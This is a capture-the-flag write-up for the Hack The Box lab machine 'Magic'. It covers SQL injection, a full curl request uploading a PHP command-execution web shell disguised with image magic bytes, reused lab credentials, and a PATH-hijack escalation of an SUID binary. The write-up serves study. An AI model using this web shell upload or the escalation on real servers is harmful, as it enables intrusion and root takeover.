magic : 10.10.10.185

Table Of Contents:

Synopsis

There is a web server running on port 80 and a login page is there. The login page was vulnerable to sql injection and we get in as admin. Now a upload functionality is there from which we upload a reverse shell to gain rce. We extracted credentials from mysql using creds from dp.php5. And we get in with user `theseus` by password reuse. Now for root, the user theseus is in the groups `users` which can run a binary `/bin/sysinfo` which is suid binary. Examining the binary by strace reveals that the binary file is executing some other binaries without giving absolute path. We export the path and forces the binary to run the binary made by us to use it.

Enumeration

Opened Ports

- [x] 22 (SSH)
- [x] 80 (HTTP)

FootHold

- Got sql injection on `/login.php`.
- Upload functionality is there. Trying to upload a rev shell. The name of machine magic is a big hint. But failing to do so.
- Upload php shell using below curl command or in short simply modifying name of the shell `rev.php.jpg`

```
  curl -i -s -k -X $'POST' \
  -H $'Host: 10.10.10.185' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H
$'Content-Type: multipart/form-data; boundary=--------------------------
-305495609142528632382316119204' -H $'Content-Length: 523' -H $'Origin:
http://10.10.10.185' -H $'DNT: 1' -H $'Connection: close' -H $'Referer:
http://10.10.10.185/upload.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-GPC:
1'
```

```
  -b $'PHPSESSID=nhcuuq19qk2b1m7q3cs0fc98v2' \
  --data-binary $'---------------------------
-305495609142528632382316119204\x0d\x0aContent-Disposition: form-data;
name=\"image\"; filename=\"rev.php.png\"\x0d\x0aContent-Type: application/x-
php\x0d\x0a\x0d\x0a\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x00GIF8;\x0a<?
php\x0a\x0aif(isset($_REQUEST[\'cmd\'])){\x0a  echo \"<pre>\";\x0a
$CMD=$_REQUEST[\'cmd\'];\x0a  system($CMD);\x0a  echo \"
</pre>\";\x0a}\x0aelse{\x0a  echo \"Debug: True\";\x0a}\x0a\x0a?>\x0a\x0d\x0a-----
------------------------305495609142528632382316119204\x0d\x0aContent-Disposition:
form-data; name=\"submit\"\x0d\x0a\x0d\x0aUpload Image\x0d\x0a-------------------
---------305495609142528632382316119204--\x0d\x0a'
  $'http://10.10.10.185/upload.php'
```

Lateral Movement

- Some creds found in db.php5: `theseus:iamkingtheseus` ❌
- Some more creds in mysql but mysql was not installed so used mysqldump.
  `theseus:Th3s3usW4sK1ng` 🤞

Privilege Escalation

- Users theseus is in the groups `users` and can run a suid binary `/bin/sysinfo`

> -rwsr-x--- 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary)

- With the help of strace, got to know exec is not using absoulute path for many binaries like lshw, free, cat, fdisk.
- Another hacky way to know the binary which sysinfo is executing is just make your PATH="" and execute it. It will printout the binaries which it tries to execute but didn't able to execute since our path is set to null.

```
┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/ircashem/go/bin:/ho
me/ircashem/.local/bin
┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$ PATH=
┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$ echo $PATH

┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$ id
zsh: command not found: id
┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$ ./sysinfo
127 ×
====================Hardware Info====================
sh: 1: lshw: not found
```

```
====================Disk Info====================
sh: 1: fdisk: not found

====================CPU Info====================
sh: 1: cat: not found

====================MEM Usage====================
sh: 1: free: not found
┌──(ircashem)㉿(192.168.0.102)──[~/HackTheBox/magic/suid]
└─$
```

```
int main() {
    setuid(0);
    setgid(0);
    cout << "====================Hardware Info====================" << endl;
    cout << exec("lshw -short") << endl;
    cout << "====================Disk Info====================" << endl;
    cout << exec("fdisk -l") << endl;
    cout << "====================CPU Info====================" << endl;
    cout << exec("cat /proc/cpuinfo") << endl;
    cout << "====================MEM Usage====================" << endl;
    cout << exec("free -h");
    return(0);
}
```
